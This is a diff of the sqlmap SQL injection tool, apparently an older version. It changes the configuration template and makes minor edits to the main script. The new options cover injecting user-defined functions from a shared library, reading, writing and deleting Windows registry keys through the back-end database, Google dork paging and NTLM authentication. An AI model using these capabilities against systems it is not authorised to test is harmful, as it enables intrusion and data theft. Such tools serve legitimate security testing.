@@ -45,6 +45,10 @@ agent =
# Example: ./txt/user-agents.txt
userAgentsFile =
# HTTP Referer header. Useful to fake the HTTP Referer header value at
# each HTTP request.
referer =
# Extra HTTP headers
# Note: There must be a space at the beginning of each header line.
headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
@@ -52,17 +56,17 @@ headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
# HTTP Authentication type. Useful only if the target url requires
# HTTP Basic or Digest authentication and you have such data.
# Valid: Basic or Digest
# HTTP Basic, Digest or NTLM authentication and you have such data.
# Valid: Basic, Digest or NTLM
aType =
# HTTP Authentication credentials. Useful only if the target url requires
# HTTP Basic or Digest authentication and you have such data.
# HTTP Basic, Digest or NTLM authentication and you have such data.
# Syntax: username:password
aCred =
# Use a HTTP proxy to connect to the target url.
# Syntax: http://url:port
# Syntax: http://address:port
proxy =
# Maximum number of concurrent HTTP requests (handled with Python threads)
@@ -250,18 +254,31 @@ user =
# Valid: True or False
excludeSysDbs = False
# First table entry to dump (cursor start)
# First query output entry to retrieve
# Valid: integer
# Default: 0 (sqlmap will start to dump the table entries from the first)
# Default: 0 (sqlmap will start to retrieve the query output entries from
# the first)
limitStart = 0
# Last table entry to dump (cursor stop)
# Last query output entry to retrieve
# Valid: integer
# Default: 0 (sqlmap will detect the number of table entries and dump
# until the last)
# Default: 0 (sqlmap will detect the number of query output entries and
# retrieve them until the last)
limitStop = 0
# SQL SELECT query to be executed.
# First query output word character to retrieve
# Valid: integer
# Default: 0 (sqlmap will enumerate the query output from the first
# character)
firstChar = 0
# Last query output word character to retrieve
# Valid: integer
# Default: 0 (sqlmap will enumerate the query output until the last
# character)
lastChar = 0
# SQL statement to be executed.
# Example: SELECT 'foo', 'bar'
query =
@@ -270,6 +287,16 @@ query =
sqlShell = False
[User-defined function]
# Inject custom user-defined functions
# Valid: True or False
udfInject = False
# Local path of the shared library
shLib =
[File system]
# Read a specific file from the back-end DBMS underlying file system.
@@ -323,13 +350,57 @@ msfPath =
tmpPath =
[Windows]
# Read a Windows registry key value
regRead = False
# Write a Windows registry key value data
regAdd = False
# Delete a Windows registry key value
regDel = False
# Windows registry key
regKey =
# Windows registry key value
regVal =
# Windows registry key value data
regData =
# Windows registry key value type
regType =
[Miscellaneous]
# Save and resume all data retrieved on a session file.
sessionFile =
# Retrieve each query output length and calculate the estimated time of
# arrival in real time.
# Valid: True or False
eta = False
# Use google dork results from specified page number
# Valid: integer
# Default: 1
googlePage = 1
# Update sqlmap to the latest stable version.
# Valid: True or False
updateAll = False
# Never ask for user input, use the default behaviour.
# Valid: True or False
batch = False
# Clean up the DBMS by sqlmap specific UDF and tables
# Valid: True or False
cleanup = False
# Verbosity level.
# Valid: integer between 0 and 5
# 0: Show only warning and error messages
@@ -339,19 +410,4 @@ eta = False
# 4: Show also HTTP responses headers
# 5: Show also HTTP responses page content
# Default: 1
verbose = 1
# Update sqlmap to the latest stable version.
# Valid: True or False
updateAll = False
# Save and resume all data retrieved on a session file.
sessionFile =
# Never ask for user input, use the default behaviour.
# Valid: True or False
batch = False
# Clean up the DBMS by sqlmap specific UDF and tables
# Valid: True or False
cleanup = False
verbose = 1

View File

@@ -22,12 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import sys
import time
import traceback
import warnings
warnings.filterwarnings(action = "ignore", message = ".*(md5|sha) module is deprecated", category = DeprecationWarning)
try:
import psyco
@@ -48,7 +49,6 @@ from lib.core.exception import unhandledException
from lib.core.option import init
from lib.parse.cmdline import cmdLineParser
def modulePath():
"""
This will get us the program's directory, even if we are frozen
@@ -60,7 +60,6 @@ def modulePath():
else:
return os.path.dirname(os.path.realpath(__file__))
def main():
"""
Main function of sqlmap when running from command line.
@@ -100,6 +99,5 @@ def main():
print "\n[*] shutting down at: %s\n" % time.strftime("%X")
if __name__ == "__main__":
main()

Binary file not shown.

Some files were not shown because too many files have changed in this diff Show More